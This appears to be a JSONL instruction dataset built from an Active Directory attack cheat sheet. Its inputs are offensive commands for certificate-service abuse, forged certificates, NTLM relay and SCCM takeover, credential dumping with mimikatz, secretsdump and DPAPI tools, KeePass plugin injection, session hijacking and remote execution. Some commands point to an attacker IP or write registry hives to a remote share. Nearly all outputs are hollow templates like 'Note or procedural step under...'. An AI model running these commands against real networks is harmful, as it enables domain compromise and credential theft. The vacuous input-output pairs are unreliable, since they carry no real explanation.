{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name>", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certify.exe request /ca:<server>\\<ca-name> /template:\"<vulnerable template name>\"", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "ESC15", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> -upn <target_user>@<domain> --application-policies 'Client Authentication' #[PR 228]", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<version 1 template with enrolee flag>' -ca <ca_name> --application-policies 'Certificate Request Agent' # [PR 228]", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured Certificate Template", "input": "certipy req -u <user>@<domain> -p <password> -target <ca_server> -template '<vulnerable template name>' -ca <ca_name> -on-behalf-of '<domain>\\<user>' -pfx <cert>", "output": "Note or procedural step under 'Misconfigured Certificate Template'."}
{"instruction": "Misconfigured ACL", "input": "ESC4", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "write privilege over a certificate template", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -save-old -debug", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "ESC1", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "restore template", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy template -u <user>@<domain> -p '<password>' -template <vuln_template> -configuration <template>.json", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "ESC7", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "Manage CA", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy ca -ca <ca_name> -add-officer  '<user>' -username <user>@<domain> -password <password> -dc-ip <dc_ip> -target-ip <target_ip>", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "ESC7 Manage certificate", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "Manage certificate", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy ca  -ca <ca_name> -enable-template '<ecs1_vuln_template>' -username <user>@<domain> -password <password>", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy  req -username <user>@<domain> -password <password> -ca <ca_name> -template '<vulnerable template name>' -upn '<target_user>", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "error, but save private key and get issue request", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "Issue request", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy ca -u <user>@<domain> -p '<password>' -ca <ca_name> -issue-request <request_id>", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Misconfigured ACL", "input": "certipy req -u <user>@<domain> -p '<password>' -ca <ca_name> -retreive <request_id> #Pass the certificate", "output": "Note or procedural step under 'Misconfigured ACL'."}
{"instruction": "Vulnerable PKI Object access control", "input": "ESC5", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Vulnerable PKI Object access control", "input": "Vulnerable acl on PKI", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Vulnerable PKI Object access control", "input": "ACL", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Vulnerable PKI Object access control", "input": "Golden certificate", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Vulnerable PKI Object access control", "input": "certipy ca -backup -u <user>@<domain> -hashes <hash_nt> -ca <ca_name> -debug -target <ca_ip>", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Vulnerable PKI Object access control", "input": "certipy forge -ca-pfx '<adcs>.pfx' -upn administrator@<domain> # Pass the Certificate", "output": "Note or procedural step under 'Vulnerable PKI Object access control'."}
{"instruction": "Misconfigured Certificate Authority", "input": "ESC6", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "Abuse ATTRIBUTESUBJECTALTNAME2 flag set on CA you can choose any certificate template that permits client authentication", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "ESC1", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "ESC11", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "ntlmrelayx.py -t rpc://<ca_ip> -smb2support -rpc-mode ICPR -icpr-ca-name <ca_name>", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt", "output": "Tool or command referenced under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "gettgtpkinit.py -pfx-base64 $(cat cert.b64) <domain>/<dc_name>$ <ccache_file>", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "certipy relay -target rpc://<ip_ca> -ca '<ca_name>'", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Misconfigured Certificate Authority", "input": "certipy auth -pfx <certificate> -dc-ip <dc_ip> #Pass the Ticket #DCSYNC #Domain Admin", "output": "Note or procedural step under 'Misconfigured Certificate Authority'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC9/ESC10 (implicit)", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy shadow auto -username <accountA>@<domain> -p <passA> -account <accountB>", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC9/ESC10 (Case 1)", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn Administrator", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC9", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy req  -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <vulnerable template> #reset accountB UPN", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC10 (case 1)", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy req  -username <accountB>@<domain> -hashes <hashB> -ca <ca_name> -template <any template with client auth> #reset accountB UPN", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC10 (Case 2)", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn '<dc_name$>@<domain>'", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC10  Case1", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "reset accountB UPN", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "certipy account update -username <accountA>@<domain> -password <passA> -user <accountB> -upn <accountB>@<domain>", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "[Kerberos Mapping] ESC9/ESC10(Case 1) #Pass The Certificate", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "[Schannel Mapping] ESC9/ESC10 (Case 2) #Pass The Certificate", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "Abuse Certificate Mapping", "input": "ESC14 (explicit)", "output": "Note or procedural step under 'Abuse Certificate Mapping'."}
{"instruction": "recon", "input": "sccmhunter.py find -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug", "output": "Note or procedural step under 'recon'."}
{"instruction": "recon", "input": "sccmhunter.py show -all", "output": "Note or procedural step under 'recon'."}
{"instruction": "recon", "input": "ldeep ldap -u <user> -p <password> -d <domain> -s ldap://<dc_ip> sccm", "output": "Note or procedural step under 'recon'."}
{"instruction": "recon", "input": "nxc smb <sccm_server> -u <user> -p <password> -d <domain> --shares", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Creds-1 No credentials", "input": "Extract from pxe See no creds", "output": "Note or procedural step under 'Creds-1 No credentials'."}
{"instruction": "Creds-1 No credentials > PXE", "input": "NAA credentials", "output": "Note or procedural step under 'Creds-1 No credentials > PXE'."}
{"instruction": "Creds-1 No credentials > PXE", "input": "User + Pass", "output": "Note or procedural step under 'Creds-1 No credentials > PXE'."}
{"instruction": "Elevate-1:Relay on site systems Simple user", "input": "coerce sccm site server", "output": "Note or procedural step under 'Elevate-1:Relay on site systems Simple user'."}
{"instruction": "Elevate-1:Relay on site systems Simple user", "input": "ntlmrelayx.py -tf <site_systems> -smb2support #Admin on Site system", "output": "Note or procedural step under 'Elevate-1:Relay on site systems Simple user'."}
{"instruction": "Elevate-2:Force client push Simple user", "input": "ntlmrelayx.py -t <sccm_server> -smb2support -socks # listen connection", "output": "Note or procedural step under 'Elevate-2:Force client push Simple user'."}
{"instruction": "Elevate-2:Force client push Simple user", "input": "SharpSCCM.exe invoke client-push -mp <sccm_server>.<domain> -sc <site_code> -t <attacker_ip> # Launch client push install", "output": "Note or procedural step under 'Elevate-2:Force client push Simple user'."}
{"instruction": "Elevate-2:Force client push Simple user", "input": "proxychains smbexec.py -no-pass <domain>/<socks_user>@<sccm_server>", "output": "Note or procedural step under 'Elevate-2:Force client push Simple user'."}
{"instruction": "Elevate-2:Force client push Simple user", "input": "cleanup #Admin", "output": "Note or procedural step under 'Elevate-2:Force client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "Create DNS A record for non existing computer x", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "dnstool.py -u '<domain>\\<user>' -p <pass>  -r <newcomputer>.<domain> -a add -t A -d <attacker_ip> <dc_ip>", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "Enroll new computer x in AD  then remove host SPN from the machine account", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "setspn -D host/<newcomputer> <newcomputer> setspn -D host/<newcomputer>.<domain> <newcomputer>", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "wait 5m for client push", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "ntlmrelayx.py -tf <no_signing_target> -smb2support -socks", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "Elevate-3:Automatic client push Simple user", "input": "cleanup #Relay ntlm", "output": "Note or procedural step under 'Elevate-3:Automatic client push Simple user'."}
{"instruction": "CRED-6 Loot creds", "input": "SCCM SMB service (445/TCP) on a DP", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "CRED-6 Loot creds", "input": "cmloot.py <domain>/<user>:<password>@<sccm_dp> -cmlootinventory sccmfiles.txt", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "CRED-6 Loot creds", "input": "SCCM HTTP service (80/TCP or 443/TCP) on a DP", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "CRED-6 Loot creds", "input": "SCCMSecrets.py policies -mp http://<management_point> -u '<machine_account>$' -p '<machine_password>' -cn '<client_name>'", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "CRED-6 Loot creds", "input": "SCCMSecrets.py files -dp http://<distribution_point> -u '<user>' -p '<password>'", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "CRED-6 Loot creds", "input": "sccm-http-looter -server <ip_dp>", "output": "Note or procedural step under 'CRED-6 Loot creds'."}
{"instruction": "Takeover-1:relay to mssql db Simple user", "input": "SCCM MSSQL != SSCM server", "output": "Note or procedural step under 'Takeover-1:relay to mssql db Simple user'."}
{"instruction": "Takeover-1:relay to mssql db Simple user", "input": "sccmhunter.py mssql -u <user> -p <password> -d <domain> -dc-ip <dc_ip> -debug -tu <target_user> -sc <site_code> -stacked", "output": "Note or procedural step under 'Takeover-1:relay to mssql db Simple user'."}
{"instruction": "Takeover-1:relay to mssql db Simple user", "input": "ntlmrelayx.py -smb2support -ts -t mssql://<sccm_mssql> -q \"<query>\"", "output": "Note or procedural step under 'Takeover-1:relay to mssql db Simple user'."}
{"instruction": "Takeover-1:relay to mssql db Simple user", "input": "coerce sccm_mssql -> attacker", "output": "Note or procedural step under 'Takeover-1:relay to mssql db Simple user'."}
{"instruction": "Takeover-1:relay to mssql db Simple user", "input": "sccmhunter.py admin -u <target_user>@<domain> -p '<password>' -ip <sccm_ip> #SCCM ADMIN", "output": "Note or procedural step under 'Takeover-1:relay to mssql db Simple user'."}
{"instruction": "Takeover-2:relay to mssql server Simple user", "input": "SCCM MSSQL != SSCM server", "output": "Note or procedural step under 'Takeover-2:relay to mssql server Simple user'."}
{"instruction": "Takeover-2:relay to mssql server Simple user", "input": "ntlmrelayx.py -t <sccm_mssql> -smb2support -socks", "output": "Note or procedural step under 'Takeover-2:relay to mssql server Simple user'."}
{"instruction": "Takeover-2:relay to mssql server Simple user", "input": "coerce sccm_server", "output": "Note or procedural step under 'Takeover-2:relay to mssql server Simple user'."}
{"instruction": "Takeover-2:relay to mssql server Simple user", "input": "proxychains smbexec.py -no-pass <domain>/'<sccm_server>$'@<sccm_ip> #Admin MSSQL", "output": "Note or procedural step under 'Takeover-2:relay to mssql server Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "add computer", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "sccmwtf.py newcomputer newcomputer.<domain> <target> '<domain>\\<computer_added>$' '<computer_pass>'", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "get NetworkAccessUsername and NetworkAccessPassword", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "policysecretunobfuscate.py", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "delete device created after sccmadmin #User + Pass", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "SharpSCCM.exe get secrets -r newcomputer -u <computer_added>$ -p <computer_pass>\"", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-2:Policy Request Credentials Simple user", "input": "cleanup #User + Pass", "output": "Note or procedural step under 'Creds-2:Policy Request Credentials Simple user'."}
{"instruction": "Creds-3Creds-4 Computer Admin user", "input": "dploot.py sccm -u <admin> -p '<password>' <sccm_target> #NAA credentials", "output": "Note or procedural step under 'Creds-3Creds-4 Computer Admin user'."}
{"instruction": "Creds-3Creds-4 Computer Admin user", "input": "sccmhunter.py dpapi  -u <admin> -p '<password>' -target <sccm_target> -debug #NAA credentials", "output": "Note or procedural step under 'Creds-3Creds-4 Computer Admin user'."}
{"instruction": "Creds-3Creds-4 Computer Admin user", "input": "SharpSCCM.exe local secrets -m disk #NAA credentials", "output": "Note or procedural step under 'Creds-3Creds-4 Computer Admin user'."}
{"instruction": "Creds-3Creds-4 Computer Admin user", "input": "SharpSCCM.exe local secrets -m wmi #NAA credentials", "output": "Note or procedural step under 'Creds-3Creds-4 Computer Admin user'."}
{"instruction": "Creds-5 SCCM admin", "input": "secretsdump.py <domain>/<admin>:'<pass>'@<sccm_target>", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Creds-5 SCCM admin", "input": "mssqlclient.py -windows-auth -hashes '<sccm_target_hashNT>' '<domain>/<sccm_target>$'@<sccm_mssql>", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "use CM_<site_code>;", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "SELECT * FROM SC_UserAccount;", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "sccmdecryptpoc.exe <cyphered_value> #Site DB credentials", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "get_device <hostname>", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "interact <device_id>", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "script xploit.ps1 #Site DB credentials", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "EXEC-1/2 SCCM admin", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "SharpSCCM.exe exec -p <binary> -d <device_name> -sms <SMS_PROVIDER> -sc <SITECODE> --no-banner #lat", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Creds-5 SCCM admin", "input": "sccmhunter.py admin -u <user>@<domain> -p '<password>' -ip <sccm_ip> #lat", "output": "Note or procedural step under 'Creds-5 SCCM admin'."}
{"instruction": "Cleanup", "input": "SharpSCCM.exe get devices -sms <SMS_PROVIDER> -sc <SITECODE> -n <NTLMRELAYX_LISTENER_IP> -p \"Name\" -p \"ResourceId\" -p \"SMSUniqueIdentifier\"", "output": "Note or procedural step under 'Cleanup'."}
{"instruction": "Cleanup", "input": "SharpSCCM.exe remove device GUID:<GUID> -sms <SMS_PROVIDER> -sc <SITECODE>", "output": "Note or procedural step under 'Cleanup'."}
{"instruction": "Post exploit", "input": "as sccm admin", "output": "Note or procedural step under 'Post exploit'."}
{"instruction": "Post exploit", "input": "SCCMHound.exe --server <server> --sitecode <sitecode>", "output": "Note or procedural step under 'Post exploit'."}
{"instruction": "Post exploit", "input": "Users sessions", "output": "Note or procedural step under 'Post exploit'."}
{"instruction": "Admin access", "input": "Extract credentials from LSASS.exe", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Admin access", "input": "LSASS as protected process", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Admin access", "input": "PPLdump64.exe <lsass.exe|lsass_pid> lsass.dmp #before 2022-07-22 update", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Admin access", "input": "mimikatz \"!+\" \"!processprotect /process:lsass.exe /remove\" \"privilege::debug\" \"token::elevate\"  \"sekurlsa::logonpasswords\" \"!processprotect  /process:lsass.exe\" \"!-\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Admin access", "input": "Extract LSASS secrets", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Admin access", "input": "procdump.exe -accepteula -ma lsass.exe lsass.dmp", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Admin access", "input": "mimikatz \"privilege::debug\" \"token::elevate\" \"sekurlsa::logonpasswords\"  \"exit\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Admin access", "input": "msf> load kiwi creds_all", "output": "Tool or command referenced under 'Admin access'."}
{"instruction": "Admin access", "input": "nxc smb <ip_range> -u <user> -p <password> -M lsassy", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Admin access", "input": "lsassy -d <domain> -u <user> -p <password> <ip>", "output": "Note or procedural step under 'Admin access'."}
{"instruction": "Extract credentials from SAM", "input": "nxc smb <ip_range> -u <user> -p <password> --sam", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Extract credentials from SAM", "input": "msf> hashdump", "output": "Tool or command referenced under 'Extract credentials from SAM'."}
{"instruction": "Extract credentials from SAM", "input": "mimikatz \"privilege::debug\" \"lsadump::sam\" \"exit\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from SAM", "input": "secretsdump.py <domain>/<user>:<password>@<ip>", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from SAM", "input": "reg save HKLM\\SAM <file>;  reg save HKLM\\SYSTEM <file>", "output": "Note or procedural step under 'Extract credentials from SAM'."}
{"instruction": "Extract credentials from SAM", "input": "secretsdump.py -system SYSTEM -sam SAM LOCAL", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from SAM", "input": "reg.py <domain>/<user>:<password>@<ip> backup -o '\\\\<smb_ip>\\share'", "output": "Note or procedural step under 'Extract credentials from SAM'."}
{"instruction": "Extract credentials from SAM", "input": "secretsdump.py -system SYSTEM -sam SAM LOCAL", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from SAM", "input": "regsecrets.py <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Extract credentials from SAM'."}
{"instruction": "Extract credentials from LSA", "input": "nxc smb <ip_range> -u <user> -p <password> --lsa", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Extract credentials from LSA", "input": "mimikatz \"privilege::debug\" \"lsadump::lsa\" \"exit\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from LSA", "input": "reg save HKLM\\SECURITY <file>;  reg save HKLM\\SYSTEM <file>", "output": "Note or procedural step under 'Extract credentials from LSA'."}
{"instruction": "Extract credentials from LSA", "input": "secretsdump.py -system SYSTEM -security SECURITY", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from LSA", "input": "reg.py <domain>/<user>:<password>@<ip> backup -o '\\\\<smb_ip>\\share'", "output": "Note or procedural step under 'Extract credentials from LSA'."}
{"instruction": "Extract credentials from DPAPI", "input": "DPAPI", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "nxc smb <ip_range> -u <user> -p <password> --dpapi [cookies] [nosystem]", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Extract credentials from DPAPI", "input": "donpapi <domain>/<user>:<password>@<target>", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "dpapidump.py <domain>/<user>:<password>@<target>", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "get masterkey", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "mimikatz \"sekurlsa::dpapi\"", "output": "Credential extraction or secrets dumping referenced; handle in lab and follow legal constraints."}
{"instruction": "Extract credentials from DPAPI", "input": "dploot.py browser -d <domain> -u <user> -p '<password>' <ip> -mkfile <masterkeys_file>", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "lsassy -d <domain> -u <user> -p <password> <ip> -m rdrleakdiag -M masterkeys", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "dploot.py browser -d <domain> -u <user> -p '<password>' <ip> -mkfile <masterkeys_file>", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "SharpDPAPI.exe triage", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "Crack users masterkey", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "copy c:\\users\\<user>\\AppData\\Roaming\\Microsoft\\Protect\\<SID>", "output": "Note or procedural step under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "DPAPImk2john.py --preferred <prefered_file>", "output": "Tool or command referenced under 'Extract credentials from DPAPI'."}
{"instruction": "Extract credentials from DPAPI", "input": "DPAPImk2john.py -c domain -mk <masterkey> -S <sid> #DPAPImk", "output": "Tool or command referenced under 'Extract credentials from DPAPI'."}
{"instruction": "Impersonate", "input": "Impersonate", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "msf> use incognito impersonate_token <domain>\\\\<user>", "output": "Tool or command referenced under 'Impersonate'."}
{"instruction": "Impersonate", "input": "nxc smb <ip> -u <localAdmin> -p <password> --loggedon-users", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Impersonate", "input": "nxc smb <ip> -u <localAdmin> -p <password> -M schtask_as -o USER=<logged-on-user> CMD=<cmd-command>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Impersonate", "input": "irs.exe list", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "irs.exe exec -p <pid> -c <command>", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "Impersonate with adcs", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "masky - d <domain> -u <user>  (-p <password> || -k || -H <hash>) -ca <certificate authority> <ip>", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "Impersonate RDP Session", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "psexec.exe -s -i cmd", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "query user", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Impersonate", "input": "tscon.exe <id> /dest:<session_name> #RDP", "output": "Note or procedural step under 'Impersonate'."}
{"instruction": "Misc", "input": "Find Users", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "smbmap.py --host-file ./computers.list -u <user> -p <password> -d <domain> -r 'C$\\Users' --dir-only --no-write-check --no-update --no-color --csv users_directory.csv", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "Extract Keepass", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "KeePwn.py plugin add -u '<user>' -p '<password>' -d '<domain>' -t <target> --plugin KeeFarceRebornPlugin.dll", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "KeePwn.py trigger add -u '<user>' -p '<password>' -d '<domain>' -t <target>", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "Hybrid (Azure AD-Connect)", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "Dump cleartext password of MSOL Account on ADConnect Server", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "azuread_decrypt_msol_v2.ps1 #DCSYNC", "output": "Note or procedural step under 'Misc'."}
{"instruction": "Misc", "input": "nxc smb <ip> -u <user> -p <password> -M msol #DCSYNC", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
{"instruction": "Clear text Password", "input": "Interactive-shell - psexec", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "psexec.py <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "psexec.exe -AcceptEULA \\\\<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "psexecsvc.py <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "Pseudo-shell (file write and read)", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "atexec.py  <domain>/<user>:<password>@<ip> \"command\"", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "smbexec.py  <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "wmiexec.py  <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "dcomexec.py  <domain>/<user>:<password>@<ip>", "output": "Note or procedural step under 'Clear text Password'."}
{"instruction": "Clear text Password", "input": "nxc smb <ip_range> -u <user> -p <password> -d <domain> -x <cmd>", "output": "NetExec-like tool invocation for SMB/LDAP/MSSQL and other probes."}
